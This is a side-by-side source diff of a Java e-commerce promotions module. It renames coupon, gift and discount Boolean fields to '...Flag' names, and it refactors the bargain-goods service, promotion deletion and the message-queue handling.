public Boolean getIsPoint() { public Boolean getPointFlag() {
if (isPoint == null) { if (pointFlag == null) {
return false; return false;
} }
return isPoint; return pointFlag;
} }
public Boolean getIsFreeFreight() { public Boolean getFreeFreightFlag() {
if (isFreeFreight == null) { if (freeFreightFlag == null) {
return false; return false;
} }
return isFreeFreight; return freeFreightFlag;
} }
public Boolean getIsGift() { public Boolean getGiftFlag() {
if (isGift == null) { if (giftFlag == null) {
return false; return false;
} }
return isGift; return giftFlag;
} }
public Boolean getIsCoupon() { public Boolean getCouponFlag() {
if (isCoupon == null) { if (couponFlag == null) {
return false; return false;
} }
return isCoupon; return couponFlag;
} }
} }

View File

@ -86,7 +86,7 @@ public class MemberCoupon extends BaseEntity {
private String getType; private String getType;
@ApiModelProperty(value = "是否是平台优惠券") @ApiModelProperty(value = "是否是平台优惠券")
private Boolean isPlatform; private Boolean platformFlag;
@ApiModelProperty(value = "店铺承担比例") @ApiModelProperty(value = "店铺承担比例")
private Double storeCommission; private Double storeCommission;

View File

@ -124,6 +124,8 @@ public class PromotionGoods extends BaseEntity {
} }
} }
public PromotionGoods(KanjiaActivityGoodsDTO kanjiaActivityGoodsDTO) { public PromotionGoods(KanjiaActivityGoodsDTO kanjiaActivityGoodsDTO) {
if (kanjiaActivityGoodsDTO != null) { if (kanjiaActivityGoodsDTO != null) {
BeanUtil.copyProperties(kanjiaActivityGoodsDTO, this, "id"); BeanUtil.copyProperties(kanjiaActivityGoodsDTO, this, "id");

View File

@ -9,7 +9,7 @@ import lombok.Data;
import lombok.EqualsAndHashCode; import lombok.EqualsAndHashCode;
import java.io.Serializable; import java.io.Serializable;
import java.util.Collections; import java.util.Arrays;
import java.util.Date; import java.util.Date;
/** /**
@ -70,7 +70,7 @@ public class CouponSearchParams extends BasePromotionsSearchParams implements Se
public <T> QueryWrapper<T> queryWrapper() { public <T> QueryWrapper<T> queryWrapper() {
QueryWrapper<T> queryWrapper = new QueryWrapper<>(); QueryWrapper<T> queryWrapper = new QueryWrapper<>();
if (storeId != null) { if (storeId != null) {
queryWrapper.in("store_id", Collections.singletonList(storeId)); queryWrapper.in("store_id", Arrays.asList(storeId.split(",")));
} }
if (CharSequenceUtil.isNotEmpty(couponName)) { if (CharSequenceUtil.isNotEmpty(couponName)) {
queryWrapper.like("coupon_name", couponName); queryWrapper.like("coupon_name", couponName);

View File

@ -29,7 +29,7 @@ public class FullDiscountSearchParams extends BasePromotionsSearchParams impleme
private String storeId; private String storeId;
@ApiModelProperty(value = "是否赠优惠券") @ApiModelProperty(value = "是否赠优惠券")
private Boolean isCoupon; private Boolean couponFlag;
@ApiModelProperty(value = "优惠券id") @ApiModelProperty(value = "优惠券id")
private String couponId; private String couponId;
@ -43,8 +43,8 @@ public class FullDiscountSearchParams extends BasePromotionsSearchParams impleme
if (storeId != null) { if (storeId != null) {
queryWrapper.in("store_id", Arrays.asList(storeId.split(","))); queryWrapper.in("store_id", Arrays.asList(storeId.split(",")));
} }
if (isCoupon != null) { if (couponFlag != null) {
queryWrapper.eq("is_coupon", isCoupon); queryWrapper.eq("coupon_flag", couponFlag);
} }
if (CharSequenceUtil.isNotEmpty(couponId)) { if (CharSequenceUtil.isNotEmpty(couponId)) {
queryWrapper.eq("coupon_id", couponId); queryWrapper.eq("coupon_id", couponId);

View File

@ -4,14 +4,13 @@ package cn.lili.modules.promotion.entity.vos.kanjia;
import cn.hutool.core.text.CharSequenceUtil; import cn.hutool.core.text.CharSequenceUtil;
import cn.lili.common.security.context.UserContext; import cn.lili.common.security.context.UserContext;
import cn.lili.common.security.enums.UserEnums; import cn.lili.common.security.enums.UserEnums;
import cn.lili.modules.promotion.entity.enums.PromotionsStatusEnum; import cn.lili.modules.promotion.entity.vos.BasePromotionsSearchParams;
import cn.lili.modules.promotion.tools.PromotionTools;
import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper;
import io.swagger.annotations.ApiModelProperty; import io.swagger.annotations.ApiModelProperty;
import lombok.Data; import lombok.Data;
import lombok.EqualsAndHashCode;
import java.io.Serializable; import java.io.Serializable;
import java.util.Date;
/** /**
* 砍价活动商品查询通用类 * 砍价活动商品查询通用类
@ -19,44 +18,25 @@ import java.util.Date;
* @author qiuqiu * @author qiuqiu
* @date 2020/8/21 * @date 2020/8/21
**/ **/
@EqualsAndHashCode(callSuper = true)
@Data @Data
public class KanjiaActivityGoodsParams implements Serializable { public class KanjiaActivityGoodsParams extends BasePromotionsSearchParams implements Serializable {
private static final long serialVersionUID = 1344104067705714289L; private static final long serialVersionUID = 1344104067705714289L;
@ApiModelProperty(value = "活动商品") @ApiModelProperty(value = "活动商品")
private String goodsName; private String goodsName;
@ApiModelProperty(value = "活动开始时间")
private Long startTime;
@ApiModelProperty(value = "活动结束时间")
private Long endTime;
@ApiModelProperty(value = "skuId") @ApiModelProperty(value = "skuId")
private String skuId; private String skuId;
/** @Override
* @see PromotionsStatusEnum public <T> QueryWrapper<T> queryWrapper() {
*/ QueryWrapper<T> queryWrapper = super.queryWrapper();
@ApiModelProperty(value = "活动状态")
private String promotionStatus;
public <T> QueryWrapper<T> wrapper() {
QueryWrapper<T> queryWrapper = new QueryWrapper<>();
if (CharSequenceUtil.isNotEmpty(goodsName)) { if (CharSequenceUtil.isNotEmpty(goodsName)) {
queryWrapper.like("goods_name", goodsName); queryWrapper.like("goods_name", goodsName);
} }
if (promotionStatus != null) {
queryWrapper.and(PromotionTools.queryPromotionStatus(PromotionsStatusEnum.valueOf(promotionStatus)));
}
if (startTime != null) {
queryWrapper.le("start_time", new Date(startTime));
}
if (endTime != null) {
queryWrapper.ge("end_time", new Date(endTime));
}
if (UserContext.getCurrentUser() != null && UserContext.getCurrentUser().getRole().equals(UserEnums.MEMBER)) { if (UserContext.getCurrentUser() != null && UserContext.getCurrentUser().getRole().equals(UserEnums.MEMBER)) {
queryWrapper.gt("stock", 0); queryWrapper.gt("stock", 0);
} }

View File

@ -9,9 +9,6 @@ import cn.lili.modules.promotion.entity.vos.kanjia.KanjiaActivityGoodsListVO;
import cn.lili.modules.promotion.entity.vos.kanjia.KanjiaActivityGoodsParams; import cn.lili.modules.promotion.entity.vos.kanjia.KanjiaActivityGoodsParams;
import cn.lili.modules.promotion.entity.vos.kanjia.KanjiaActivityGoodsVO; import cn.lili.modules.promotion.entity.vos.kanjia.KanjiaActivityGoodsVO;
import com.baomidou.mybatisplus.core.metadata.IPage; import com.baomidou.mybatisplus.core.metadata.IPage;
import com.baomidou.mybatisplus.extension.service.IService;
import java.util.List;
/** /**
@ -20,7 +17,7 @@ import java.util.List;
* @author qiuqiu * @author qiuqiu
* @date 2021/7/1 9:45 上午 * @date 2021/7/1 9:45 上午
*/ */
public interface KanjiaActivityGoodsService extends IService<KanjiaActivityGoods> { public interface KanjiaActivityGoodsService extends AbstractPromotionsService<KanjiaActivityGoods> {
/** /**
@ -31,15 +28,6 @@ public interface KanjiaActivityGoodsService extends IService<KanjiaActivityGoods
*/ */
Boolean add(KanjiaActivityGoodsOperationDTO kanJiaActivityGoodsDTOS); Boolean add(KanjiaActivityGoodsOperationDTO kanJiaActivityGoodsDTOS);
/**
* 查询砍价活动商品分页信息
*
* @param kanJiaActivityGoodsParams 砍价活动商品
* @param pageVO 分页信息
* @return 砍价商品
*/
IPage<KanjiaActivityGoods> getForPage(KanjiaActivityGoodsParams kanJiaActivityGoodsParams, PageVO pageVO);
/** /**
* 查询砍价活动商品分页信息 * 查询砍价活动商品分页信息
* *
@ -59,6 +47,7 @@ public interface KanjiaActivityGoodsService extends IService<KanjiaActivityGoods
/** /**
* 根据SkuId获取正在进行中的砍价商品 * 根据SkuId获取正在进行中的砍价商品
*
* @param skuId 商品规格Id * @param skuId 商品规格Id
* @return 砍价商品 * @return 砍价商品
*/ */
@ -66,6 +55,7 @@ public interface KanjiaActivityGoodsService extends IService<KanjiaActivityGoods
/** /**
* 查询砍价活动商品VO * 查询砍价活动商品VO
*
* @param id 砍价活动商品ID * @param id 砍价活动商品ID
* @return 砍价活动商品 * @return 砍价活动商品
*/ */
@ -79,12 +69,4 @@ public interface KanjiaActivityGoodsService extends IService<KanjiaActivityGoods
*/ */
boolean updateKanjiaActivityGoods(KanjiaActivityGoodsDTO kanjiaActivityGoodsDTO); boolean updateKanjiaActivityGoods(KanjiaActivityGoodsDTO kanjiaActivityGoodsDTO);
/**
* 删除砍价商品
*
* @param ids 砍价商品ids
* @return 是否删除成功
*/
boolean deleteKanJiaGoods(List<String> ids);
} }

View File

@ -141,10 +141,11 @@ public abstract class AbstractPromotionsServiceImpl<M extends BaseMapper<T>, T e
for (String id : ids) { for (String id : ids) {
T promotions = this.getById(id); T promotions = this.getById(id);
this.checkStatus(promotions); this.checkStatus(promotions);
promotions.setDeleteFlag(true); promotions.setStartTime(null);
this.updatePromotionsGoods(promotions); promotions.setEndTime(null);
this.updateEsGoodsIndex(promotions); this.updateEsGoodsIndex(promotions);
} }
this.promotionGoodsService.deletePromotionGoods(ids);
return this.removeByIds(ids); return this.removeByIds(ids);
} }
@ -245,7 +246,7 @@ public abstract class AbstractPromotionsServiceImpl<M extends BaseMapper<T>, T e
//删除商品促销消息 //删除商品促销消息
String destination = rocketmqCustomProperties.getGoodsTopic() + ":" + GoodsTagsEnum.DELETE_GOODS_INDEX_PROMOTIONS.name(); String destination = rocketmqCustomProperties.getGoodsTopic() + ":" + GoodsTagsEnum.DELETE_GOODS_INDEX_PROMOTIONS.name();
//发送mq消息 //发送mq消息
rocketMQTemplate.asyncSend(destination, promotions.getId(), RocketmqSendCallbackBuilder.commonCallback()); rocketMQTemplate.asyncSend(destination, JSONUtil.toJsonStr(promotions), RocketmqSendCallbackBuilder.commonCallback());
} else { } else {
String esPromotionKey = this.getPromotionType().name() + "-" + promotions.getId(); String esPromotionKey = this.getPromotionType().name() + "-" + promotions.getId();

View File

@ -203,7 +203,7 @@ public class CouponActivityServiceImpl extends AbstractPromotionsServiceImpl<Cou
memberCoupon.setMemberId(map.get("id").toString()); memberCoupon.setMemberId(map.get("id").toString());
memberCoupon.setMemberName(map.get("nick_name").toString()); memberCoupon.setMemberName(map.get("nick_name").toString());
memberCoupon.setMemberCouponStatus(MemberCouponStatusEnum.NEW.name()); memberCoupon.setMemberCouponStatus(MemberCouponStatusEnum.NEW.name());
memberCoupon.setIsPlatform("platform".equals(coupon.getStoreId())); memberCoupon.setPlatformFlag("platform".equals(coupon.getStoreId()));
memberCouponList.add(memberCoupon); memberCouponList.add(memberCoupon);
} }
} }

View File

@ -211,7 +211,7 @@ public class CouponServiceImpl extends AbstractPromotionsServiceImpl<CouponMappe
public void checkStatus(Coupon promotions) { public void checkStatus(Coupon promotions) {
super.checkStatus(promotions); super.checkStatus(promotions);
FullDiscountSearchParams searchParams = new FullDiscountSearchParams(); FullDiscountSearchParams searchParams = new FullDiscountSearchParams();
searchParams.setIsCoupon(true); searchParams.setCouponFlag(true);
searchParams.setCouponId(promotions.getId()); searchParams.setCouponId(promotions.getId());
List<FullDiscount> fullDiscounts = fullDiscountService.listFindAll(searchParams); List<FullDiscount> fullDiscounts = fullDiscountService.listFindAll(searchParams);
if (fullDiscounts != null && !fullDiscounts.isEmpty()) { if (fullDiscounts != null && !fullDiscounts.isEmpty()) {

View File

@ -93,7 +93,7 @@ public class FullDiscountServiceImpl extends AbstractPromotionsServiceImpl<FullD
if (promotions instanceof FullDiscountVO) { if (promotions instanceof FullDiscountVO) {
FullDiscountVO fullDiscountVO = (FullDiscountVO) promotions; FullDiscountVO fullDiscountVO = (FullDiscountVO) promotions;
//验证是否是有效参数 //验证是否是有效参数
PromotionTools.paramValid(fullDiscountVO.getStartTime(), fullDiscountVO.getEndTime(), fullDiscountVO.getNumber(), fullDiscountVO.getPromotionGoodsList()); PromotionTools.checkPromotionTime(fullDiscountVO.getStartTime(), fullDiscountVO.getEndTime());
} }
//当前时间段是否存在同类活动 //当前时间段是否存在同类活动
@ -164,17 +164,17 @@ public class FullDiscountServiceImpl extends AbstractPromotionsServiceImpl<FullD
* @param fullDiscount 满减参数信息 * @param fullDiscount 满减参数信息
*/ */
private void checkFullDiscount(FullDiscount fullDiscount) { private void checkFullDiscount(FullDiscount fullDiscount) {
if (fullDiscount.getIsFullMinus() == null && fullDiscount.getIsCoupon() == null && fullDiscount.getIsGift() == null if (fullDiscount.getFullMinusFlag() == null && fullDiscount.getCouponFlag() == null && fullDiscount.getGiftFlag() == null
&& fullDiscount.getIsPoint() == null && fullDiscount.getIsFullRate() == null) { && fullDiscount.getPointFlag() == null && fullDiscount.getFullRateFlag() == null) {
throw new ServiceException(ResultCode.FULL_DISCOUNT_WAY_ERROR); throw new ServiceException(ResultCode.FULL_DISCOUNT_WAY_ERROR);
} }
//如果优惠方式是满减 //如果优惠方式是满减
if (Boolean.TRUE.equals(fullDiscount.getIsFullMinus())) { if (Boolean.TRUE.equals(fullDiscount.getFullMinusFlag())) {
this.checkFullMinus(fullDiscount.getFullMinus(), fullDiscount.getFullMoney()); this.checkFullMinus(fullDiscount.getFullMinus(), fullDiscount.getFullMoney());
fullDiscount.setTitle("" + fullDiscount.getFullMoney() + "" + fullDiscount.getFullMinus()); fullDiscount.setTitle("" + fullDiscount.getFullMoney() + "" + fullDiscount.getFullMinus());
} }
//如果优惠方式是赠品 //如果优惠方式是赠品
if (Boolean.TRUE.equals(fullDiscount.getIsGift())) { if (Boolean.TRUE.equals(fullDiscount.getGiftFlag())) {
//是否没有选择赠品 //是否没有选择赠品
boolean noGiftSelected = fullDiscount.getGiftId() == null; boolean noGiftSelected = fullDiscount.getGiftId() == null;
if (noGiftSelected) { if (noGiftSelected) {
@ -184,13 +184,13 @@ public class FullDiscountServiceImpl extends AbstractPromotionsServiceImpl<FullD
fullDiscount.setGiftId(null); fullDiscount.setGiftId(null);
} }
//如果优惠方式是赠优惠券 //如果优惠方式是赠优惠券
if (Boolean.TRUE.equals(fullDiscount.getIsCoupon())) { if (Boolean.TRUE.equals(fullDiscount.getCouponFlag())) {
this.checkCoupon(fullDiscount.getCouponId()); this.checkCoupon(fullDiscount.getCouponId());
} else { } else {
fullDiscount.setCouponId(null); fullDiscount.setCouponId(null);
} }
//如果优惠方式是折扣 //如果优惠方式是折扣
if (Boolean.TRUE.equals(fullDiscount.getIsFullRate())) { if (Boolean.TRUE.equals(fullDiscount.getFullRateFlag())) {
this.checkFullRate(fullDiscount.getFullRate()); this.checkFullRate(fullDiscount.getFullRate());
fullDiscount.setTitle("" + fullDiscount.getFullMoney() + "" + fullDiscount.getFullRate() + ""); fullDiscount.setTitle("" + fullDiscount.getFullMoney() + "" + fullDiscount.getFullRate() + "");
} }

View File

@ -13,8 +13,8 @@ import cn.lili.modules.promotion.entity.dos.KanjiaActivityGoods;
import cn.lili.modules.promotion.entity.dos.PromotionGoods; import cn.lili.modules.promotion.entity.dos.PromotionGoods;
import cn.lili.modules.promotion.entity.dto.KanjiaActivityGoodsDTO; import cn.lili.modules.promotion.entity.dto.KanjiaActivityGoodsDTO;
import cn.lili.modules.promotion.entity.dto.KanjiaActivityGoodsOperationDTO; import cn.lili.modules.promotion.entity.dto.KanjiaActivityGoodsOperationDTO;
import cn.lili.modules.promotion.entity.enums.PromotionsScopeTypeEnum;
import cn.lili.modules.promotion.entity.enums.PromotionsStatusEnum; import cn.lili.modules.promotion.entity.enums.PromotionsStatusEnum;
import cn.lili.modules.promotion.entity.vos.PromotionGoodsSearchParams;
import cn.lili.modules.promotion.entity.vos.kanjia.KanjiaActivityGoodsListVO; import cn.lili.modules.promotion.entity.vos.kanjia.KanjiaActivityGoodsListVO;
import cn.lili.modules.promotion.entity.vos.kanjia.KanjiaActivityGoodsParams; import cn.lili.modules.promotion.entity.vos.kanjia.KanjiaActivityGoodsParams;
import cn.lili.modules.promotion.entity.vos.kanjia.KanjiaActivityGoodsVO; import cn.lili.modules.promotion.entity.vos.kanjia.KanjiaActivityGoodsVO;
@ -25,13 +25,13 @@ import cn.lili.modules.promotion.tools.PromotionTools;
import cn.lili.mybatis.util.PageUtil; import cn.lili.mybatis.util.PageUtil;
import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper;
import com.baomidou.mybatisplus.core.metadata.IPage; import com.baomidou.mybatisplus.core.metadata.IPage;
import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl;
import org.springframework.beans.BeanUtils; import org.springframework.beans.BeanUtils;
import org.springframework.beans.factory.annotation.Autowired; import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Service; import org.springframework.stereotype.Service;
import org.springframework.transaction.annotation.Transactional; import org.springframework.transaction.annotation.Transactional;
import java.util.ArrayList; import java.util.ArrayList;
import java.util.Collections;
import java.util.List; import java.util.List;
/** /**
@ -42,7 +42,7 @@ import java.util.List;
*/ */
@Service @Service
@Transactional(rollbackFor = Exception.class) @Transactional(rollbackFor = Exception.class)
public class KanjiaActivityGoodsServiceImpl extends ServiceImpl<KanJiaActivityGoodsMapper, KanjiaActivityGoods> implements KanjiaActivityGoodsService { public class KanjiaActivityGoodsServiceImpl extends AbstractPromotionsServiceImpl<KanJiaActivityGoodsMapper, KanjiaActivityGoods> implements KanjiaActivityGoodsService {
/** /**
* 规格商品 * 规格商品
@ -70,32 +70,44 @@ public class KanjiaActivityGoodsServiceImpl extends ServiceImpl<KanJiaActivityGo
if (this.checkSkuDuplicate(goodsSku.getId(), kanJiaActivityGoodsDTO) != null) { if (this.checkSkuDuplicate(goodsSku.getId(), kanJiaActivityGoodsDTO) != null) {
throw new ServiceException("商品id为" + goodsSku.getId() + "的商品已参加砍价商品活动!"); throw new ServiceException("商品id为" + goodsSku.getId() + "的商品已参加砍价商品活动!");
} }
kanJiaActivityGoodsDTO.setGoodsSku(goodsSku);
kanJiaActivityGoodsDTO.setGoodsId(goodsSku.getGoodsId());
kanJiaActivityGoodsDTO.setSkuId(kanJiaActivityGoodsDTO.getSkuId()); kanJiaActivityGoodsDTO.setSkuId(kanJiaActivityGoodsDTO.getSkuId());
kanJiaActivityGoodsDTO.setThumbnail(goodsSku.getThumbnail()); kanJiaActivityGoodsDTO.setThumbnail(goodsSku.getThumbnail());
kanJiaActivityGoodsDTO.setGoodsName(goodsSku.getGoodsName()); kanJiaActivityGoodsDTO.setGoodsName(goodsSku.getGoodsName());
kanJiaActivityGoodsDTO.setOriginalPrice(goodsSku.getPrice()); kanJiaActivityGoodsDTO.setOriginalPrice(goodsSku.getPrice());
kanJiaActivityGoodsDTO.setScopeId(goodsSku.getId());
kanjiaActivityGoodsList.add(kanJiaActivityGoodsDTO); kanjiaActivityGoodsList.add(kanJiaActivityGoodsDTO);
PromotionGoods promotionGoods = new PromotionGoods(kanJiaActivityGoodsDTO);
promotionGoods.setPromotionId(kanJiaActivityGoodsDTO.getId());
promotionGoods.setPromotionType(PromotionTypeEnum.KANJIA.name());
promotionGoods.setGoodsId(kanJiaActivityGoodsDTO.getGoodsId());
promotionGoods.setTitle(kanJiaActivityGoodsDTO.getPromotionName());
promotionGoodsList.add(promotionGoods);
} }
this.promotionGoodsService.saveBatch(promotionGoodsList); boolean result = this.saveBatch(kanjiaActivityGoodsList);
return this.saveBatch(kanjiaActivityGoodsList); if (result) {
for (KanjiaActivityGoods kanjiaActivityGoods : kanjiaActivityGoodsList) {
PromotionGoods promotionGoods = new PromotionGoods();
BeanUtils.copyProperties(kanjiaActivityGoods, promotionGoods);
promotionGoods.setQuantity(kanjiaActivityGoods.getStock());
promotionGoods.setPromotionId(kanjiaActivityGoods.getId());
promotionGoods.setPromotionType(PromotionTypeEnum.KANJIA.name());
promotionGoods.setTitle(PromotionTypeEnum.KANJIA.name() + "-" + kanjiaActivityGoods.getGoodsName());
promotionGoods.setScopeType(PromotionsScopeTypeEnum.PORTION_GOODS.name());
promotionGoods.setScopeId(kanjiaActivityGoods.getSkuId());
promotionGoods.setPromotionType(PromotionTypeEnum.KANJIA.name());
promotionGoodsList.add(promotionGoods);
}
boolean saveBatch = this.promotionGoodsService.saveBatch(promotionGoodsList);
if (saveBatch) {
for (KanjiaActivityGoods kanjiaActivityGoods : kanjiaActivityGoodsList) {
this.updateEsGoodsIndex(kanjiaActivityGoods);
}
}
}
return result;
} }
@Override
public IPage<KanjiaActivityGoods> getForPage(KanjiaActivityGoodsParams kanJiaActivityGoodsParams, PageVO pageVO) {
return this.page(PageUtil.initPage(pageVO), kanJiaActivityGoodsParams.wrapper());
}
@Override @Override
public IPage<KanjiaActivityGoodsListVO> kanjiaGoodsVOPage(KanjiaActivityGoodsParams kanjiaActivityGoodsParams, PageVO pageVO) { public IPage<KanjiaActivityGoodsListVO> kanjiaGoodsVOPage(KanjiaActivityGoodsParams kanjiaActivityGoodsParams, PageVO pageVO) {
return this.baseMapper.kanjiaActivityGoodsVOPage(PageUtil.initPage(pageVO), kanjiaActivityGoodsParams.wrapper()); return this.baseMapper.kanjiaActivityGoodsVOPage(PageUtil.initPage(pageVO), kanjiaActivityGoodsParams.queryWrapper());
} }
@ -248,15 +260,20 @@ public class KanjiaActivityGoodsServiceImpl extends ServiceImpl<KanJiaActivityGo
if (this.checkSkuDuplicate(goodsSku.getId(), kanJiaActivityGoodsDTO) != null) { if (this.checkSkuDuplicate(goodsSku.getId(), kanJiaActivityGoodsDTO) != null) {
throw new ServiceException("商品id为" + goodsSku.getId() + "的商品已参加砍价商品活动!"); throw new ServiceException("商品id为" + goodsSku.getId() + "的商品已参加砍价商品活动!");
} }
this.promotionGoodsService.deletePromotionGoods(Collections.singletonList(kanJiaActivityGoodsDTO.getId()));
this.updatePromotionsGoods(kanJiaActivityGoodsDTO);
this.updateEsGoodsIndex(kanJiaActivityGoodsDTO);
//修改数据库 //修改数据库
return this.updateById(kanJiaActivityGoodsDTO); return this.updateById(kanJiaActivityGoodsDTO);
} }
/**
* 当前促销类型
*
* @return 当前促销类型
*/
@Override @Override
public boolean deleteKanJiaGoods(List<String> ids) { public PromotionTypeEnum getPromotionType() {
PromotionGoodsSearchParams searchParams = new PromotionGoodsSearchParams(); return PromotionTypeEnum.KANJIA;
searchParams.setPromotionIds(ids);
this.promotionGoodsService.deletePromotionGoods(searchParams);
return this.removeByIds(ids);
} }
} }

View File

@ -162,7 +162,7 @@ public class MemberCouponServiceImpl extends ServiceImpl<MemberCouponMapper, Mem
queryWrapper.eq(MemberCoupon::getMemberId, memberId); queryWrapper.eq(MemberCoupon::getMemberId, memberId);
queryWrapper.eq(MemberCoupon::getMemberCouponStatus, MemberCouponStatusEnum.NEW.name()); queryWrapper.eq(MemberCoupon::getMemberCouponStatus, MemberCouponStatusEnum.NEW.name());
queryWrapper.eq(MemberCoupon::getScopeType, PromotionsScopeTypeEnum.ALL.name()); queryWrapper.eq(MemberCoupon::getScopeType, PromotionsScopeTypeEnum.ALL.name());
queryWrapper.ge(MemberCoupon::getEndTime, new Date()).and(i -> i.in(MemberCoupon::getStoreId, storeId).or(j -> j.eq(MemberCoupon::getIsPlatform, true))); queryWrapper.ge(MemberCoupon::getEndTime, new Date()).and(i -> i.in(MemberCoupon::getStoreId, storeId).or(j -> j.eq(MemberCoupon::getPlatformFlag, true)));
return this.list(queryWrapper); return this.list(queryWrapper);
} }
@ -253,7 +253,7 @@ public class MemberCouponServiceImpl extends ServiceImpl<MemberCouponMapper, Mem
memberCoupon.setMemberId(memberId); memberCoupon.setMemberId(memberId);
memberCoupon.setMemberName(memberName); memberCoupon.setMemberName(memberName);
memberCoupon.setMemberCouponStatus(MemberCouponStatusEnum.NEW.name()); memberCoupon.setMemberCouponStatus(MemberCouponStatusEnum.NEW.name());
memberCoupon.setIsPlatform(("platform").equals(coupon.getStoreId())); memberCoupon.setPlatformFlag(("platform").equals(coupon.getStoreId()));
this.save(memberCoupon); this.save(memberCoupon);
couponService.receiveCoupon(couponId, 1); couponService.receiveCoupon(couponId, 1);
} }

View File

@ -5,6 +5,7 @@ import cn.hutool.json.JSONUtil;
import cn.lili.common.enums.PromotionTypeEnum; import cn.lili.common.enums.PromotionTypeEnum;
import cn.lili.common.enums.ResultCode; import cn.lili.common.enums.ResultCode;
import cn.lili.common.exception.ServiceException; import cn.lili.common.exception.ServiceException;
import cn.lili.common.properties.RocketmqCustomProperties;
import cn.lili.modules.goods.service.GoodsSkuService; import cn.lili.modules.goods.service.GoodsSkuService;
import cn.lili.modules.member.entity.dos.Member; import cn.lili.modules.member.entity.dos.Member;
import cn.lili.modules.member.service.MemberService; import cn.lili.modules.member.service.MemberService;
@ -25,6 +26,11 @@ import cn.lili.modules.promotion.mapper.PintuanMapper;
import cn.lili.modules.promotion.service.PintuanService; import cn.lili.modules.promotion.service.PintuanService;
import cn.lili.modules.promotion.service.PromotionGoodsService; import cn.lili.modules.promotion.service.PromotionGoodsService;
import cn.lili.modules.promotion.tools.PromotionTools; import cn.lili.modules.promotion.tools.PromotionTools;
import cn.lili.trigger.enums.DelayTypeEnums;
import cn.lili.trigger.interfaces.TimeTrigger;
import cn.lili.trigger.model.TimeExecuteConstant;
import cn.lili.trigger.model.TimeTriggerMsg;
import cn.lili.trigger.util.DelayQueueTools;
import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper;
import org.springframework.beans.factory.annotation.Autowired; import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Service; import org.springframework.stereotype.Service;
@ -65,6 +71,18 @@ public class PintuanServiceImpl extends AbstractPromotionsServiceImpl<PintuanMap
@Autowired @Autowired
private OrderService orderService; private OrderService orderService;
/**
* 延时任务
*/
@Autowired
private TimeTrigger timeTrigger;
/**
* RocketMQ
*/
@Autowired
private RocketmqCustomProperties rocketmqCustomProperties;
/** /**
* 获取当前拼团的会员 * 获取当前拼团的会员
* *
@ -195,6 +213,13 @@ public class PintuanServiceImpl extends AbstractPromotionsServiceImpl<PintuanMap
&& promotions instanceof PintuanVO) { && promotions instanceof PintuanVO) {
PintuanVO pintuanVO = (PintuanVO) promotions; PintuanVO pintuanVO = (PintuanVO) promotions;
this.updatePintuanPromotionGoods(pintuanVO); this.updatePintuanPromotionGoods(pintuanVO);
TimeTriggerMsg timeTriggerMsg = new TimeTriggerMsg(TimeExecuteConstant.PROMOTION_EXECUTOR,
promotions.getEndTime().getTime(),
promotions,
DelayQueueTools.wrapperUniqueKey(DelayTypeEnums.PINTUAN_ORDER, (promotions.getId())),
rocketmqCustomProperties.getPromotionTopic());
//发送促销活动开始的延时任务
this.timeTrigger.addDelay(timeTriggerMsg);
} }
if (promotions.getEndTime() == null && promotions.getStartTime() == null) { if (promotions.getEndTime() == null && promotions.getStartTime() == null) {
//过滤父级拼团订单根据父级拼团订单分组 //过滤父级拼团订单根据父级拼团订单分组
@ -237,7 +262,7 @@ public class PintuanServiceImpl extends AbstractPromotionsServiceImpl<PintuanMap
if (CharSequenceUtil.isEmpty(order.getParentOrderSn())) { if (CharSequenceUtil.isEmpty(order.getParentOrderSn())) {
memberVO.setOrderSn(""); memberVO.setOrderSn("");
PromotionGoodsSearchParams searchParams = new PromotionGoodsSearchParams(); PromotionGoodsSearchParams searchParams = new PromotionGoodsSearchParams();
searchParams.setPromotionStatus(PromotionTypeEnum.PINTUAN.name()); searchParams.setPromotionStatus(PromotionsStatusEnum.START.name());
searchParams.setPromotionId(order.getPromotionId()); searchParams.setPromotionId(order.getPromotionId());
searchParams.setSkuId(skuId); searchParams.setSkuId(skuId);
PromotionGoods promotionGoods = promotionGoodsService.getPromotionsGoods(searchParams); PromotionGoods promotionGoods = promotionGoodsService.getPromotionsGoods(searchParams);

View File

@ -83,16 +83,22 @@ public class PointsGoodsServiceImpl extends AbstractPromotionsServiceImpl<Points
GoodsSku goodsSku = this.checkSkuExist(pointsGoods.getSkuId()); GoodsSku goodsSku = this.checkSkuExist(pointsGoods.getSkuId());
pointsGoods.setStoreId(goodsSku.getStoreId()); pointsGoods.setStoreId(goodsSku.getStoreId());
pointsGoods.setStoreName(goodsSku.getStoreName()); pointsGoods.setStoreName(goodsSku.getStoreName());
PromotionGoods promotionGoods = new PromotionGoods(pointsGoods, goodsSku);
promotionGoods.setPromotionType(PromotionTypeEnum.POINTS_GOODS.name());
promotionGoodsList.add(promotionGoods);
} }
boolean saveBatch = this.saveBatch(promotionsList); boolean saveBatch = this.saveBatch(promotionsList);
if (saveBatch) { if (saveBatch) {
this.promotionGoodsService.saveOrUpdateBatch(promotionGoodsList);
for (PointsGoods pointsGoods : promotionsList) { for (PointsGoods pointsGoods : promotionsList) {
this.updateEsGoodsIndex(pointsGoods); GoodsSku goodsSku = this.checkSkuExist(pointsGoods.getSkuId());
PromotionGoods promotionGoods = new PromotionGoods(pointsGoods, goodsSku);
promotionGoods.setPromotionType(PromotionTypeEnum.POINTS_GOODS.name());
promotionGoods.setScopeId(pointsGoods.getSkuId());
promotionGoodsList.add(promotionGoods);
}
boolean saveOrUpdateBatch = this.promotionGoodsService.saveOrUpdateBatch(promotionGoodsList);
if (saveOrUpdateBatch) {
for (PointsGoods pointsGoods : promotionsList) {
this.updateEsGoodsIndex(pointsGoods);
}
} }
} }

View File

@ -4,6 +4,7 @@ import cn.hutool.core.date.DatePattern;
import cn.hutool.core.date.DateTime; import cn.hutool.core.date.DateTime;
import cn.hutool.core.date.DateUtil; import cn.hutool.core.date.DateUtil;
import cn.hutool.core.text.CharSequenceUtil; import cn.hutool.core.text.CharSequenceUtil;
import cn.hutool.core.util.ArrayUtil;
import cn.hutool.json.JSONUtil; import cn.hutool.json.JSONUtil;
import cn.lili.common.enums.PromotionTypeEnum; import cn.lili.common.enums.PromotionTypeEnum;
